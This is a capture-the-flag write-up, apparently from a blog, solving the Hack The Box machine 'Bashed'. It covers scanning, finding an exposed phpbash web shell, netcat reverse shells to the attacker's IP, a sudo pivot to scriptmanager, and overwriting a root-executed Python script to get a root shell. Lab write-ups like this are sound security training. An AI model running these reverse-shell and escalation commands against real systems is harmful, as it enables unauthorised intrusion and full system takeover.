# Bashed

Hack-The-Box 5 / 72
3 min read
HTB Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. PHP
Table of Contents
⚔
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: Bashed
  • OS Type: Linux
  • Difficulty: Easy

Port Scanning - Service & Version Enumeration

Terminal window
# Nmap 7.95 scan initiated Wed May  7 09:04:41 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.68
Nmap scan report for 10.10.10.68
Host is up, received echo-reply ttl 63 (0.29s latency).
Scanned at 2025-05-07 09:04:42 IST for 117s
Not shown: 65275 closed tcp ports (reset), 259 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 6AA5034A553DFA77C3B2C7B4C26CF870


Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed May  7 09:06:39 2025 -- 1 IP address (1 host up) scanned in 117.61 seconds

Enumeration

Port 80/HTTP

i’ll start my enumeration from port 80

image.png

let’s check the web technology using whatweb

Terminal window
whatweb http://10.10.10.68
image.png

let’s check the directory and files fuzzing using gobuster

Terminal window
gobuster dir -u http://10.10.10.68 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
image.png

let’s navigate to /dev directory

image.png

we found interesting phpbash.php file google search reveals the → https://github.com/Arrexel/phpbash

phpbash is a standalone, semi-interactive web shell. It’s main purpose is to assist in penetration tests where traditional reverse shells are not possible. The design is based on the default Kali Linux terminal colors, so pentesters should feel right at home.

let’s open the phpbash.php

image.png

let’s catch a reverse shell

start netcat listener on port 443 and run busybox nc 10.10.14.17 443 -e /bin/bash in webshell

image.png

upgrade to TTY shell using

Terminal window
python -c 'import pty;pty.spawn("/bin/bash");'

user.txt can be found at /home/arrexel/user.txt

image.png

there are two users on the system

image.png

after running sudo -l i found that we can run any command as scriptmanager without password using sudo

image.png

let’s run /bin/bash as scriptmanager to get shell as scriptmanager

Terminal window
sudo -u scriptmanager /bin/bash
image.png

i found interesting /scripts directory in / folder

image.png

there are two files in this folder, now if we look at the file owner we found that test.py owned by scriptmanager means we can write it to it

and the test.txt is owned by root let’s see what both files contains

image.png

so the test.py is writing testing 123 in test.txt so we can assume that script it executed by the root

to confirm this i check last modified time of the file and current system time

image.png

both matches mean file is modified every one minutes

let’s modify the test.py with following command

Terminal window
echo -e 'import os;os.system("busybox nc 10.10.14.17 445 -e /bin/bash");' > test.py
image.png

start netcat listener on port 445

wait for root to execute script

image.png
Next: Access
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.

Related Writeups

# Bastion

Hack-The-Box 8 / 72
4 min read

Windows Easy machine - Bastion.

HTB Windows Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). PHP NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks.

# Help

Hack-The-Box 28 / 72
7 min read

Linux Easy machine - Help.

HTB RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). PHP File Upload ⓘ A vulnerability where unrestricted file uploads let an attacker plant a web shell or malicious script. SUID ⓘ A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector.

# Remote

Hack-The-Box 55 / 72
6 min read

Windows Easy machine - Remote.

HTB Windows RCE ⓘ Remote Code Execution — the ability to run arbitrary commands on a target system remotely. Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. PHP FTP ⓘ File Transfer Protocol — frequently misconfigured with anonymous access, exposing sensitive files. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. NFS ⓘ Network File System — shared Linux file storage, sometimes exported with no_root_squash for privilege escalation.

# Soccer

Hack-The-Box 64 / 72
6 min read

Linux Easy machine - Soccer.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Linux Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. PHP MySQL SUID ⓘ A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector. SQLi ⓘ SQL Injection — manipulating database queries via unsanitized input to read or alter data.
Comments